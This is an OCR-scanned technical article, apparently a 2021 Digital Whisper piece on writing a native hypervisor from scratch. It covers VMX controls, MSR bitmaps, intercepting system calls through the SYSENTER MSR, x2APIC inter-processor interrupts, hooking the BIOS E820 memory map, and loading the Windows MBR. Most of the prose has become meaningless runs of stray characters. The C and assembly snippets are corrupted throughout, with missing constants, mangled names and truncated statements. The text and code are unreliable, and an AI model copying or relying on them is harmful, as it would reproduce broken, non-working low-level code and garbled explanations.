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If either the 2unrestricted guese VM- execution control or the 2mode based execute
control for EP® VM execution control is 1, the 2enable EP® VM- execution control
must also be 1.

:SecondarProcessoBasedvm-ExecutionControls * x4 .« . x .« s 4 {Xs

Virtualize APIC accesses Enable EPT Descriptor-table exiting | Enable RDTSCP
Virtualize x2APIC mode Enable VPID WBIN#B-e-n’rﬁng—} Unrestricted guest
APIC-register virtualization I Virtual-interrupt delivery I PAUSE-loop exiting
RDRAND exiting Enable INVPCID Enable VM functions VMCS shadowing
Enable ENCLS exiting RDSEED exiting Enable PML EPT-violation #VE
Conceal VMX non-root operation from Intel PT Enable XSAVES/XRSTORS
Mode-based execute control for EPT Use TSC scaling

s ¢ I x o X
__vmwrite ( SECONDARY_VM_EXEC_CONTR®djustControls
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COXAMF OX0 T A L MSREI % H M A gl X e s b A O WA X s
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.vm-exit

“ 10xc0000000 = 4 * _ MSRS1_ - *r 4 d 4 v X v v 4 *xoManHN ~» T~ ¢
vm-exit ~ « OxeO0001fff

Ox1fff” 1OXO ~ 4 * . MSRSIL: *r 494 -] X F v S Fdo X x s o Malel o T~ 0 F

ymexit o« < -

¥ 10xc0000000 = 4 * _ MSRSIL: *+ 4 X4 111 % s 4 Xxo MAHN ~ T+« _ ¢
vm-exit  « OxeO000Lfff

vmexit' © r X .Y 1 e r 97 FKXXMBR S . A XX s s 4T x s

s X dmeexit* L FX oY 1 + + s X x . 4

UpdateMs rAccessPolicy  ( PSINGLE CPU_DATAdata , QWORDMsrNumber,
BOOL read , BOOL write )
{
BYTE range ;
QWORDnsrReadldx , msrWriteldx
BYTE_PTR bitmap ;

if (! IsMsrValid ( msrNumber, & range ))
return 3
msrReadldx = ( range == )? msrNumber / 8 :( msrNumber -
0xc0000000 )/ 8 + 1024;
msrWriteldx =( range == )17  msrNumber / 8 + 2048 :( msrNumber
- 0xc0000000 )/ 8 + 3072;
bitmap = data - >msrBitmaps ;
if (read)
bitmap [ msrReadldx ]|=( 1 <<( msrNumber % 8));
else
bitmap [ msrReadldx ]&=~( 1 <<( msrNumber % 8));
if (write )
bitmap [ msrWriteldx J|=( 1 <<( msrNumber % 8));
else

bitmap [ msrWriteldx ]&=~( 1 <<( msrNumber % 8));
return ]
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AdjustControls ~ ( CPU_BASED_ACTIVATE_MSR_BITMAP

CPU_BASED_ACTIVATE_SECONDARY_CONTROMSR_IA32_VMX_PROCBASED_CT)S

__vmwrite (MSR_BITMAR VirtualToPhysical (cpuData - >msrBitmaps ));
CPUBASEDVM EXRCQCONTROL*MSRbitmap” +  ~» _ X~ _s 14%s 1+ s { _ s”
1 1 YMCSsmsrBitmaps s " - _ _s I x4 _ o A4+~ 1+ s47 s s, x
Interrupt-window exiting Use TSC offsetting
HLT exiting INVLPG exiting MWAIT exiting RDPMC exiting
RDTSC exiting CR3-load exiting CR3-store exiting CR8-load exiting
CR8-store exiting Use TPR shadow NMI-window exiting MOV-DR exiting
Unconditional 1/0 exiting | Use 1/0 bitmaps MO Nito resap=Hag=——_>p Use MSR bitmaps
MONITOR exiting | PAUSE exiting I Activate secondary controls
X q L . y x | = X X ] [ , X x X 1 s =
, S Windows  64bit : x | systenitalls thook . « * . .~ _  «~ _ s s14 4 .Y s
LU 4 4 x s s s 132bit XX ., S Xp i IR s ko s )
x  MSR * L «qs s Lox s . s8bit A% . X~
L CX e . oS -systemcall’dispatchef s~ 1 _ - ¥ MA32 SYSENTERIP MSR

r 1 "systemcalls

coxs  bx osopdlc st 4y, ¢ NtWeiteFile (L - _MWiddows ¢ x ] . x

ntdll!NtWriteFile
mov eax, 7h
mov edx, SharedUserData!SystemCallStub

call  dword [ edx]
ret 24h

:r(tdll“ x . XS LY NN "5 ) calss 'xI X« 8« { . «
Ntdll ! KiFastSystemCall

mov edx, esp
sysenter

© *systemcall s L Fxooy _ 1 kerhel mode, * L x % . x gysefter ¥ys_| x . s

>

L x "dispaichef ¢ _ 17 * x pntdskrnleke .
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CX ~ -sysenter s x < s X sS

When the SYSENTER instruction is executed, it loads the instruction pointer from the
IA32_SYSENTER_EIP_MSR into the EIP register

r~ sysenter s! x < s EIP {1 *A32SYSENTERPMSR « _ { . s
-1~ _ _ pagefaultt | T~ * 10x93989393,. (_ _ v ) -valid ~ul 1+
~ v 1~ ] pagefaults’ 1s” x: _«s hyperyisoris sysenter s | x « s

< 4s 1 < opagefault s . 4~ s 4L _ X x ! KBXCEPTIORITMAP s 1 x | {

L ] sysehter sil.x s sy «s-.0x989893931 - s
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VMCS "EXCEPTIORITMAP X pagefault” . -~ _ x .« s

S S S R

L X1«
*x ol o os oo 4" s ss - MR o _ s % 4 vrhexit ¢ %W %X X s ¢ s
xs LAB2°SYSENTERP MSR *x 1 | hypefvisor * _ 1 _ . ¢ 17 x 1 7s 17
IAB2SYSENTERPMSR +  « . J 4y L~ 5S4 s 14%s DOx03939393 "~ | _ -~ 1.
.MSRbitmap™ *
S L S s 1. . N

(KX« fafily s .« X s x4 _ pagefault’ s s wvmeexit!l X1 .0 s € -

hookK * « , 11 _ x sgystemcall * « . *.x9 (Qx93939393s- 4,5 =« * x o Jfs x s 1 { X

17 % % LIA32SYSENTERPMSR « _ 4. X« _SEIR +s X 4s 7] 1«0 x
hypervisof s _ o+ 47" x 1 7s
guest” . spadefault” s <« < bysténicall *_ {4.x*x 1 . . T+
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(sysenter
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gueststate” L s ~ ¢ T

T4 VWMCS sx TITT v T X ] S X qds T L1 s
", " IHypervidof s Yeorgext.* -~ ¥ .1 | x<s

vmxon S ! x &« s I« x7 _ ,s
Xoxaxe s p 4441 s4s” s ss ]
AR R N ISP (S I'x s context 1 .7 s

8\n

, __readflags(), vmread{(VM_INS

s s hypervisor s L
I x & S
1, L) s 4 X

> #%d\n", cpuData->coreldentifier);

1T « s N D ¢ . LX DX

>

e e d s K s L ¥s ¢ InitiakizESingleHypervisor

¢ x . _* “VYMCS WM INSTRUGTIOBRROR. _ 1 . s

SetupCompleteBackToGuestState
mov rax , 0x0000681c

vmwrite rax , rsp
vmlaunch

i
11

¥ s

A

]

s X VMCS X dr X~

x 7 s ]l . s s

a

stack s,vm-entry _ 1 ~ -

s ¢ s

~ A

Y

A~

s I ymeentry 4 % x0 { guestw’. fsp . -~ 1~
. % szKs};xJ_s{~k>§Jr§p>"L'|:fJ><A»<I

L

~

flags s = 4 X s AX "y | gueSt LAl Psv. s x| JsTE X

. , “manuals | . (T *x

« 1 "‘AASSEI:LT]:V'?)XXV("-I\ S .. X L L "

« KSetipCompleteBackToGuestState 1 « « " x X s ., x &s S . XS
LA Lo 7

~ SGUESAIRVSP L YI\)ICS X -I ” Ar&( L: b -I . .I X X " '] ”

host” * Y stack ~s-| X DX . gUG‘SH | x s { s {

X
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N T O A B 1KLL e xdXs x4, ss
X86 X x4 o T x

&= RSP
Top of

Stack

X rets s hox oo s x XD gacR X p 121X xP 32l 3.6 s X

s 4 T x s v {1, S 1. 1+« s vsfaek ss | xs., 57 s I H LS L ov s X

.SetupCompleteBackToGuestState

- _»xY symlayneh_s ! x « s T+« VMCSArsp_ . X "AT ExTs ], s X 41
oo 1. s) 1. 1VMCS & +¥ 1% SeoL =74 1vmentty. v X Y « 1s
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b LS 4o x o rXx s fipX Y X HOSTRIPUSH! X4 1 X, ss x|, 1 qs
. s L blx os L 1x s¢ s

~ ~ ~

_ _vmwrite (GUEST_RIR VmmToVin

DL L) ) b e e s o /mmToYm S A R TS X e Xl

VmmToVm
mov rax , STATUS SUCCESS

ret

~ 1

s _ L STATUSYCCESS _ + 1 _ x "1 s 4" xqaf _ SxXHsS .

Fxoo 1.5 L IR X oret 1S xXa, ¥s1 Ix %, X{”,ss |« fuspls, * | s . (

° ~

S-|\“”X>L S v 4., S 1.1+ stack s Ew)f): X 41X s ¥, |

SetupCompleteBackToGuestState

© « GuestState * x 4 ] s LS N

XL oS 1 s 1 X« p XxsX{ | s ,,

~ ' ~

. guest hypervisof s aontext s . X" . vmentry, X + 1) s . 1+

%
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T S Lo bd Y. X T T T o X ] VUMCSKS” AL oX T, e, X e (AL s S

T A Ll Tee S T é e e A ds e x4 ] 1. s 1] N s
CX, X e X ox s 1] o s thread xx+« prdedss 1 s RyperviSor 5 ) ! X1 4§ A

DVMCS S . L1 . L Yy o« | . s . X 'KSAQ sx "4, ),,~sv~>< I xxoq4s!l % s ”;x,,x-”xsv
S L. S SXes Lo O s s Xhypervisof s Ixx 1 X s Lo S I s X

Kox x4 s Dx 1 414 .« Pos .

x4 L APICS T ™ x Xy XX = s T x I, 19" xX s

« _ s 7 x 2 AdvancédPregrarmnabldnterrupt Controller "APIC « . - x X {1 s 4 <

~ > ~

_ ~ 1 sinter Processointerrupt s ” x 1 s 1 X  dntefrupts 1L X 0 X X 4

s s 44T Jos X e x s X DX X e T 18 X, X T g
Bootloadef s 1+ _ ! x <8 © « » 5 L BootstrapProdessor x ¢ s .BSR § »~ & X S

140, +  XAPICk _ " x(CY¥>¥@x Lx o X)) L. X Lx X s,

I x o s 9. Do X A s X 4L

s X1 s 14 ? X . 1.5 .ot 1Yy .os s 0

" hitus b ox < s o 4.7 U xT11<s 144, hypervisor~ S . 1+ L

FAd 410 s D o xXdnterpupgt €8T A X WSS 4 L X 0 s X 4 s

s X x 0 o manuals + 7 X X LK Lo xx X Xl x " Antefupt - @ F Hus o T H K

Svd.wS v bl dx o Tex o sc &L L e Ty T ] WL oK
J,,>Vs

ICR- Interrupt CommandRegister

IPIs- Inter Processor - ~» * st 4+, dys 0 b X ¥ X p 4 ¥x o X, X x| L x by

— ~

-

s T x Ty L PR Xy s fls o, X4 s TP HX x| D laterrypts L f X 7 X

s x| ICR sx s L XAPIC Ll X x
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- X x2APIEC 1 s )

StandardAPIC

Xx):_'ll
(-
Tx% 1455

Loy x Swd ., s e d X4 T s g4 xX sOXFFEQO3X0: * x ~ |
T N
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63 56 55 32
Destination Field Reserved
31 2019181716 15141312 1110 8 7 0
Reserved Vector
Destination Shorthand Delivery Mode
00: No Shorthand 000: Fixed

01: Self
10: All Including Self
11: All Excluding Self

|:| Reserved

Address: FEEO 0300H (0 - 31)
FEEO 0310H (32 - 63)

Value after Reset: OH

NOTE:

001: Lowest Priority’
010: SMI

011: Reserved

100: NMI

101: INIT

110: Start Up

111: Reserved

Destination Mode
0: Physical
1: Logical

Delivery Status
0: Idle
1: Send Pending

Level
0 = De-assert
1 = Assert

Trigger Mode
0: Edge
1: Level

1. The ability of a processor to send Lowest Priority IPI is model specific.
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x T x4y 197" x x| . s 4y " >
LS 1x s s Lnlyy sps XL 40" x  yettdrdumber ¢ Yectorsh 1, s L
INIT @ w4 . . v 45 b4 % X X7« 4824 x 58 Y% X i, 1
« qs S w1 . n s x¥s Hd v (Ciex)s Ten 18X (449 Lo XY o {7 L
T~ 1 4~ (s ¥4 ¢4 x  *Staptup Inter Proceskotnterrupt L~ X < SIRI Y <« 1
T x| 17« s X 4L s S . X ., 17"« page $ -~ ~ X ] XM S 14 . «
. YOx8 X .~ _ wectoi* *  yOK8000 :,* x : ] X 4 L x (P sl 4, s 041"
SIPI
Startup Interrupt” WNIT > _ - " x " 1"« . .1~ 1L -DelheryMede 19 , s Y x
s w1, oL s 2 INETX L eso vl hyperbisoB s Ll L T e L "
Startup « x s 4 _ _SIPL.CX 1 | MaittForSipi .0 . X v _ 0 INIT7YIX? 0 v 4 s
% 8IPL Y X s w1, CINIFT I 1L X «s > later RProcessornhterrupt
A
XX DX b x o 4.s s 41 sxqLs s X SIPN. s
x 717"«  page .,]” lO®X100® (L xvector s s I X ] .\Vector* Ox100Q | )
TS Ix e WL 1T A s rs T x o xs T
vector s s | ., x  Dx1000 . x ° s v X
s ox 0 xx . s ¢ physical xp* {1.x X si-DdstinationMdde |
BIOSSs 4! 4 L. _*<” _uslype _d~ st x 1siDestinatiopField ss ¢« s 4 s
. KSINGLECPUDATA * « careldentifier -~ + 4, 1 x %)y 1., s L
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X2APIC

T B LIx 4 T . ARIC I TX L x 5x X 14e1%8% d4t.os

~

FX . ¥ L OKFFEQO300: * x It s*4 1 1 APIGY¥ 4, _ 4 4=-x<T 254 I X

~ ~ ~

" x R I T IE TS IR T S N

~

XL J) ARIC S " d 1% s% L, ssS 1 x2ABIC T X " WL AKXl { { X, {0

s s L IR @ %X X X7 4 o0 Ryperviser 4ss 41 Xp{lix]sxs  (x { s

63 32
Destination Field

31 2019181716 15141312 1110 87 0
Reserved Vector
Destination Shorthand Delivery Mode
00: No Shorthand 000: Fixed
01: Self 001: Reserved
10: All Including Self 010: SMI
11: All Excluding Self 011: Reserved
100: NMI
101: INIT
110: Start Up
I:l Reserved 111: Reserved
Destination Mode
0: Physical
1: Logical
Level
Address: 830H (63 - 0) 0 = De-assert
1 = Assert
Value after Reset: OH Trigger Mode
0: Edge
1: Level
[IntelSDMVolume3A : 141! .~ «]
XL Ll SIXXAX 1 x 14X 11 4. . X v X S X ’x”-||_A o1,

s X400 ol o _ 14! x DestinationField® | s+ 4+ XIs s & {7 x {8

> «(Nalive) Hypervisor from Scrateh
www.DigitalWhisper.co.il
M C 2021. ~ X125 T x { L ¥




K 1L+ X x2APIC ICR . s X4l 1s L
Intrinsic’ * . ? x 0xB30+x ~, ~MSRul +.4 1~ X4l s XX D] s X
s .4 A s XA ] oot s 17 - XPL L 0 dwritemisroe, X ox D
P _ox_ 4 _s . Yo AT X7 X O X ,
, 1 _ ¢ Tagsertion X s-F . © 0 x 77 {2APICX*" ¥ " IS S Lor L s bxexy
11 s« " s ¢ X 1OX .
DetectX2APICAvailability
QWORDmMp, ecx;
__cpuid (1, 0,& tmp, & tmp, & ecx, & tmp);
return  (ecx & )?
EnableX2APIC ()
( DetectX2APICAvailability () ==
__writemsr  ( , __readmsr ( ) ( 1 << 10)|( 1
<< 11));
- X ¥ n~ L subleaf” m L mainleaf  cpuid - x < _ < X XRAPICKS® Ixx"7147 L€ .
L X~ 4 ¢ Tl  H#s p oA 8K S Y) XAPTxe: X7 X 4 xF TS .
x4 s , S MSRJAB2.APICBABE sMSR MMM n 1 {1 * Do S T I S B
.Geneal ProtectionException « + X ~ ¥ L o StandardAPG > | .~ x  «
Xs T X PPl e 4
X2APIClssuelPl  ( QWOR@Qlestination QWORLDvector ,
deliveryMode QWORDVI )
{
QWORDpi = ( destenation )| deliveryMode |
vector | vl ;
__writemsr (
Fd o~ 0L 0x830F & % 4 I MSRIA32SX2APICICR . 370 Fde X 1A Pl
ntel vmanual s . s .o . X7 -
x "hypervisof s L X 1 ¢ «IPl Sk XY 4. ¥ Xdx s v xS X X
T~ i xhypetvisar s 0 41 o, YA L. lse rdox 4o x4 1
.S, s ZJ,,AV S LS L I-|VZV | FdOX X L«

X
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ActivateHypervisorOnProcessor QWORB. processorld PSINGLE_CPU_DATA
cpuData )
{

CopyMemory( S ApicStart  , ApicEnd - ApicStart  );
X2APIClssuelPl  ( processorld , O, ,

Sleep (50);

*( QWORD_PIR = cpuData ;

*( QWORD_PIR % (QWORMp= InitializeSingleHypervisor
*( BYTE_PTR = O

X2APIClssuelPl ( processorld ]

Sleep (50);

for (QWORD = 0; i < OxLIffffffffffffffULL && (*( BYTE_PTR

0); i ++);

return  *( BYTE_PTR

]

X X . o "X | s ¢ s I x & s L. Lol
11 A L. Ll S Lo, A e xsx T T xx, ] © XL xI s x T Ed e A
e 4.1 T D s bHNAY L X 7 s ) TAPICEUNCADDRESS « x L | x ¢
X oo oo s O D 4 UINIF v d o9t e 2RI s R s L]
S Lo, UL L N s 4 .«
s X s Lw s X, osos {0 s X 44T x wss ]

InitializeSingleHypervisors 4 « « 7 x s L S % x 1] ss {1 SINGHEBPUDATA _
(.x.,s I WMGSLL] fusxs1 i w8 1. s X

FATeox o X T T g IS s b ys X i sIx ] x Meck S s X T AR HB A X HS
11 )x7s sX{ s 185cs ol ] MEXIsqdss s gL BRI X7
Fdd s 04 cx T es L e

1] R XU X X s ] e X TN X XX T,

A~ A ~ ~ ~ ~

for (QWORD = 1; i < numberOfCores ; i ++)

( ActivateHypervisorOnProcessor ( processorldentifires [i], sharedData -
>cpuData [i]) )s
InitializeSingleHypervisor (sharedData - >cpuData [ 0]);
Y «BSP s ~ BSPLS ). (-4 11x7"s s X 4L 1. N CXx X4 s
it s .4 A S v qd .« 11 4 L. LN L X1« s Pr ~ ¥ . X s

InitializeSingleHypervisor
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X, ] 44 ¢ s

Lo X ~ .8 « L 1% q ,,x-|2~ XVJ s 4 C L «x 1. qxs = x "y
. s | . 4 X "X , S L S Sl vl IS.. 4 % hook - s|«14% ¢ ss (. " , o~
s _ hypervisof s x* T x ., |4 ¢X , xC.s Dos X'l s ], ]l x 9
St S BIOS s L T T B BN x4 s K X417 s
XL x w4 x X T xKss”  realaddressnbde » 1 * | -
input- o~ o s L BIOStse s ) s TUX] X Lx)T Asex o XX 1]
S, o o s, ox s 4 X4 1, Dox x4 output X w1 1L
* x o | X Intedrupt-VectorTable + _ -~ WT {..BIOS s , XL P ex o Pl A
RAM s 0 Tox v s oA £ 94 A s
11 IVArxs” x
IVT Offset | INT # | Description
___________ e e ———————————————
0x0000 | oxo0 | Divide by 0
0x0004 | oxo01 | Reserved
0x0008 | 0x02 | NMI Interrupt
0x000C | oxo03 | Breakpoint (INT3)
0x0010 | 0x04 | Ooverflow (INTO)
0x0014 | ox05 | Bounds range exceeded (BOUND)
0x0018 | oxoe | Invalid opcode (UD2)
0x001C | ox07 | Device not available (WAIT/FWAIT)
0x0020 | oxo8 | Double fault
0x0024 | ox09 | Coprocessor segment overrun
0x0028 | oxoa | Invalid TSS
0x002C | 0x0B | Segment not present
0x0030 | oxoc | Stack-segment fault
0x0034 | oxoD | General protection fault
0x0038 | OxOE | Page fault
0x003C | oxOF | Reserved
0x0040 | ox1o | %87 FPU error
0x0044 | ox11 | Alignment check
0x0048 | ox12 | Machine check
0x004cC | 0x13 | SIMD Floating-Point Exception
0x00xx | 0x14-0x1F | Reserved
0x0xxx | 0x20-0xFF | User definable
[osdev @ 141 .~ <]
I x <L X « inxX' s ! x L % s $ oy s o] X x 17 XS, [44.€ XL ks
IVT s x g$xrealaddréssmode” * ~ . 7 I x s 470X T x |7 T o], x
(s los
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*  Windows . HardwareAbstractionLayer . 4 ~HALC s =+ 47" x « . s 4., *1s
s ], s <45 1. , LTS s X §nt OkAsx v XSy TS P, o sx Cisy
x . XBQS: L. XL, .o kelrnel’)SSN DXXC] ], .S ”LXN 1.1 7"
L s X 1s = AHintOxI5 JheoK Is "X s v X, A" 0 T 40X
sAAT s v VT X o X 0 (0 kA s VTS vl e A T
offset” segment : ¢+ H-w 14 _ 47 sox T A4 o~ Tx,
e e +
| Segment | Offset |
e e +
4 2 0
[osdev : 14! ]
” *segmentation s T x 7 ¥ " segment*X0x10+bffsgt : - * x 1 1L s .4 |« N
. réalmode
YL .S . ‘XZZ~|\ATJX X al DX X ‘.ZZX”|_~J_ X N Fd7q X
11, rpowrfekit” T, X% Y v 4 x, X717+ . x| hypervisor 1 1 x ¢ _ s
K ¢ L FXovmexit Tow fT s Gk DY HandleVmEXEEX S d - T X X
[ Bt ~sys1ca||s,,l~X~“),L I X . S\Lm{;al" Z=\>,,K‘\.”XS s XXoos o4 q .
kernelmode’ wsermode” . -~ X _ S
exit: « s s ¢ "EXITREASON/MCALL . exitreason + vmeexit' vmedlys | ox < s
Lo *x llsip o p Y X 9§ X os 0, X |) shypervisof * sréaSom s T 1 1 s
Tx 1> « T4 40 intOxA5% e _A*s__ It sx«_d44. « .S <« *hooK_ s T _ 4, |, T
A4 1 x 0 T intOxI5es s 41X, X« 4s 0 T 144 v T x4 ¢ 0
LX< 0e s 47 T 1« s OxE820 s eaxX ™. A . ed&X _wis, L, .5 Lo ox X7
eaX * 1. ge@estrie s.» 1 L x 717 x I 4 {xBOEss T, Cs ol 0"
1%« _ s s 4int0el5 LX< 4TH” guest 5% X %] 4 OXES20 4 x _ v XS
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XN s, Do X L X o x x|
SetupE820HoqKN PSHARELTPU DATA sharedDati

DWORDPTR ivtAddress = PhysicalToVirtu&l);
QWORDsegment = ( ivtAddres$ Ox19 >> 16) & OxffffULL
QWORDoffset = ivtAddres$ 0x15 &  OxffffULL
BYTEvmcall ={ OxO0f 0x01L Oxcl}

CopyMemory -~ vmcall 3);

ivtAddres$ Ox15 = :
sharedData>int150ffset = offset;
sharedData>int15Segment= ( segment << 4);

return 3

eaX * 1 L0k15 X w4 . b1 T s d 4TI x s v 4. s T e p 4. X
X X s 1. 0 S X X s 1. ) T x ., ] q{¢x 'OXEB20 ; L4 s xxs€ { <
LIX X TX 0 v s s LOkfficlx s s X 4 JES20 SATHCALLX TN -« .
VT s o _ 4~ s vmcall vgpcode_sx BIOS § 1 reserved ~ o 4 s X x|
T x pdvlsegment s X Lcwvmeall s ) b ox o Do x T D OIS R xx o Fo A

csegment X 1 . x o MBI xR 4 x 1 s

EXITREASON/MCALL . _ S » « _ HandleVMmEXtEx* | x «s 1+« s+, " s

HandleVmCadllguestStatg;
break

‘HandleVmCalls 1 « « 7 x * « o 7 x 7 I x. i1

HandleVmCgIN PCURRENGUESTSTATEdata)

PREGISTEREgs = & data- >guestRegisters
if( regs >rip == )

if( regs >rax == OXE820)

BOOL carrySet = ]
if( regs >rbx >= data >currentCPU>sharedData>memoryRangesCount
{
carrySet = ;
goto EmulatelRET
}
regs >rax :
regs >rcx = ( regs >rcx & ~( OxffULD) | 20;
CopyMemory vmread GUESTES BASE+ ( regs >rdi & OxffffULL,
&( date- >currentCPU>sharedData>allRanj regs >rbx++]), { E820 LISTENTRY);
carrySet = ]
if( regs >rbx == data >currentCPU>sharedData>memoryRangesCount
regs >rbx = 0;
EmulatelRET

regs >rip = ( DWORD(*( DWORDPTR( vmread GUESTSS BASE+ regs >rsp));
WORD csValue =*( WORDPTR( vmread GUESTSS BASE+ regs >rsp + 2);
WORDflags =*( WORDPTR( vmread GUESTSS BASE+ regs >rsp + 4);

if( carrySe}
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www.DigitalWhisper.co.il
H M 2021, « x 125 T x { L ¥




}

}

else

flags &= ~(
___vmwrite( GUESTCS BASE csValue<< 4);
__vmwrite( GUESTCS SELECTQRcsValug;
regs >rsp += 6;

return

¥

regs >rip = data- >currentCPU>sharedData >int150ffset
___vmwrite( GUESTCS BASE csValue << 4);

__vmwrite( GUESTRFLAGS flags;

__vmwrite( GUESTCS SELECTQRcsValug;

return

return

1. s ¢« s X (OMEB20 * 1 wvea@X SVRX w0 ] s s {1
s s X x 0] LI x S e X X SOXE820 TSI v ow XaS. oo
LX) . L., s s o T ] Pl X int "0X18 -« s
L1, T 1 r mpmolyRafye x 7 . v XS L X { .S S R L S B
17 0. sfuest S L iy x.d S Ts 4 s <A s T lx x4 1 X
real w4 ., Ll _xret silaxa o s Ll ee 0 o0 o+ 40 x "1
Y X« spy _r WX ipSL Sks 1. stackiss, S+ 4.x _ x¢smodé x . S |
b b0 x " T L EmuRtelRET X 4 L I0erSsS L1« L X, ox A
Frd_ 4« s rd.¥ystack ss S MR U x4 ] .
SLA>SS J,,Av -7
XA s s s s s, X Tx oy 4T x "
s | I L T
x 17 _x BSPisx "« 4 T s Sx X4 s L hypervisor s s {10 v
L HALC s _ gueststate” >+ 4« « 7 x 7 77« x X4 s 0L, R S
Tx Ty X v« U hyedvisof sl ., X% 8 Wihdows, r X 1«
APIC s
1. 1 , 14 x ¢ s hypervisdf 5 ¢_s idt:0x15, S:w+1 | <hgok 1x " o § _
<~ d 0 ox A
S e x T dxs Txyt o s Sv 4.t frdd1.1ss
'~ 4 _ o x ¥ . ‘hypervisof s . x "1 X, s s s qiy]s, s T ox
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BIOSys. UEFI
cx 1. X s | RypervisoF s _ *¥x1i1 41 s7 1< s, s AL . .~
I o« v A4 s T4 v 4L Xs s URR X x4 px BIQSx X L, U
.s”xst SVL ,,-|><vs|_ sv”‘, F

L1 4 BIOSs _x ~ 11+« .PESs s«ixs_* . firmwar® sH xmphhic |
exsxo X 1 X s, ox s 4 XA . 0 S AL H T, .Y AT X
S X HAPMrAE -1 44 14 s41-BIO$ SsSautpdt’linptit .~ . . v ¥ Lo x|
, X "Legaty L 4 BIOS s r OUEFRL > | FS AL X Coe N X L 1s
PO O RAME X _d )4t s s ss D D v e o T
BIOSs x4 1 > 14« 7T 4X7 xoxX T ({7 ] | x 7 s L TsNEAs J Io X sx o f X
Lo, x e s xXWindews - o~ 7 17 o x e x4 b s s s

MBR
L. ~X<v41« r s BlOSbdotables « ¥s ~ . x J1 * T x <, SsMBR*s1. s s

s oot s 14, X xIx.< CheofaBle - % s _ + « MasterBaotlRpcord
TootxTx x4 p'MHL KA )X 2YBROS T, x4 X
(1, MBR “+« ] MBR” x" 177
s X 1 .s o0 s~ bssoox o 0y ATUXT | s sa e ) XS ]
CX L k4D X e T gl L ¥XsSS{p.sTXXX ] BIOSI L s

” . Paittitio’ énttiesm (+!-x 4s L 1) kA~ XIs{igesmey

s T BT S N

MBR s .« 11 s _ ) B
T1iBIGSL - x ¢ sigmaturd <\MBR_s L _ v 47 X . 1+ 8 " kA4 THSE LT XX
.OXAA55 « x s s qpodtable + x s 411 x"s < A

MBR S« =% 4. x5 I%x_ BOKH«! {«x5
I'{MBR s « BIOS s1 4, tLRAM ** x. i x+« <« o X s ss 1 ],
DX X4 o4 X X xS L. x Oc00 A S X, S x411s

R S

.

= x L , S L s s .

- F

P be v 07 X e X XOXACO0X (~: 4 SHAx s )t X
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https://en.wikipedia.org/wiki/Master_boot_record#PTE
https://www.glamenv-septzen.net/en/view/6
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‘\v_llsv F‘I”X ” N
Fo s Iox x P T SO L R VA D B B P, SRR |
SO S T S R I B BN LV T R S S I B
x ¢ s s 7 4 IBIGS s  x,"sL* ,ys« xxI 7 1] L I I «, 11 1,1
x 7o, x X s X s x Toxo, 40 {1 TAXL] Lsedsad L x T
X ¢ s S | x s | .« X S X L X" 4L L

int 0x12
ExtendedReadSectors «+ x s« s s s 0 4. oA s XX

1 1 DBAP.sDiskAddressPacket . . ~ X DAR - % ¢ |

>~ ’

L *FxomDrivel s

Registers Description
AH 42h = function number for extended read
DL drive index (e.g. 1st HDD = 80h)

segment:offset pointer to the DAP, see below

DAP : Disk Address Packet

offset range  size description
00h 1 byte | size of DAP (set this to 10h)
01h 1 byte |unused, should be zero

number of sectors to be read, (some Phoenix BIOSes are limited to a
) 02h..03h 2 bytes ,
Ds:sI maximum of 127 sectors)

segment:offset pointer to the memory buffer to which sectors will be
04h..07h 4 bytes | transferred (note that x86 is little-endian: if declaring the segment and

offset separately, the offset must be declared before the segment)

absolute number of the start of the sectors to be read (1st sector of

08h..0Fh 8 bytes | drive has number 0) using logical block addressing (note that the lower
half comes before the upper half)®!

[s4!" 44 x 141 .4

BIOSs 4 _ . _x_ 4 _v U wcdl 4 457 _«sx st 4 X sx DAFP 01 %xxy so Lise I 4{X]s,
Txox 4] R A 2 I R IS T T T SIS IR DK SRR B o B S|
. b ds i xex e p e s sedd XSS ] s LT s s X e

> 10%7¢00 - *x - J o < :huffed ¢, xS x o)l v 47 s, o w4 s
Txox 4] T T BN R LA 1 % dAXX 1 es o pfli*xs s %y

s {1 s 4 Dbodtabledevice | 0 X 1« MBR- s _ 7

%
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DIAIJs L~ DS’BIX:"SLFeaImO.déYL,:J"AVS L~DAP'S<A‘I:X]:\\)'<”|.)§-| N N
11 siex Tlint0%12 10%x42 x| ~  AH >« v 4 " x 7y

o ~

ReadFirstSectorToRam  ( BYTE diskindex , BYTE_PTR address )

PDISK_ADDRESS PACKEPpacket =

packet ->size = 0x10;

packet ->reserved = 0;

packet ->count = 1;

packet - >offset =

packet ->segment = O;

packet - >sectorNumberLowPart = 0;
packet - >sectorNumberHighPart = 0;

*( BYTE_PTRH( s+ 0x10) =  diskindex
EnterRealModeRunFunction ( DISK_READER;
*address =

v XS + . _DAPADDRESS® s » x  sDAF & x :\ H* . 1~ R B

s lx _"oooxx 41 Ax o XEExsT IO IR _10x4000)1 1 Xxx ]

i diskindex  _ 1~ s DAP s{ 4., 1+ _ realmede > s AL~ 4> <vs. o 1x7
] ] R S« 4 LDISL L xsiuxXqe, «uSq X4 "s oL

[ BITS 16]
DiskReader :

, DAP_ADDRESS
, 0x42
byte [DAP_ADDRESS + 0x10]

13F’1

K 11 , X 1 x

disk™ 114x_ s « 1! s ReadFirstSretgrfoRams 1. x«1"x s s, ¢ ] , x ¢ 77
bootable « x s« 41 * L xx 1 FIRSTSEECTOREST! * x * ¥ thdex . _ 1. |
YLos o ox s o (47 sigfature0xXAABS] s IS p ] L X xxso X os x|

I s 7 L Windbws - « x T .ox O s xfajump |, L. rédlmoge .~ ®x7c00” ,

LoadMBRToEnNtryPoiit

PMBR sectorAddress
for( BYTEdiskldx = 0x8Q diskldx < Oxff; diskldx-+)
{
ReadFirstSectorToR&miiskldx & sectorAddresy
if( sectorAddress>bootCode == 3

{

Print(" An MBR disk was found at disk #%l\ n", diskldy;
CopyMemory >S sectorAddress E
*( BYTEPTR( X=diskldx

break
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P, T x v s 08B0 S LT A s TS s d XS S

, 1+ bootablerL+ xxs. s ¢s o 4 1s 11 Pl 4

F o % TOX78007xx S( T % x _ MBRADDRESS 5 o} 1~ .5 L _ -

XX DE™ Wd. W, i TMBRSY A 1T Ix®xy {1

. 0k7¢c00 far jump

HandleControlToWindows
,[ WINDOWSDISKINDEX
0]

0: 0x7c00

L

« x5 WAINDOWSDISKINDEX {4 I 4« 0 % < x s DXDEIX] X 4x"7 L] o

Lt MBR = BHOEs s>* 1.1 s Windowsl . MBR®sx « (" xX L1bs .
R N B EL N T R
hypervisoF s + . _ . X .1 _ s ss D], lIxeo DX Y ,5 v oxxs” s Cs]
!X”L~
. X 1. 7~
hypervisor s, (x "1 4 s _xs Tx ]7 x4 x.) L s L
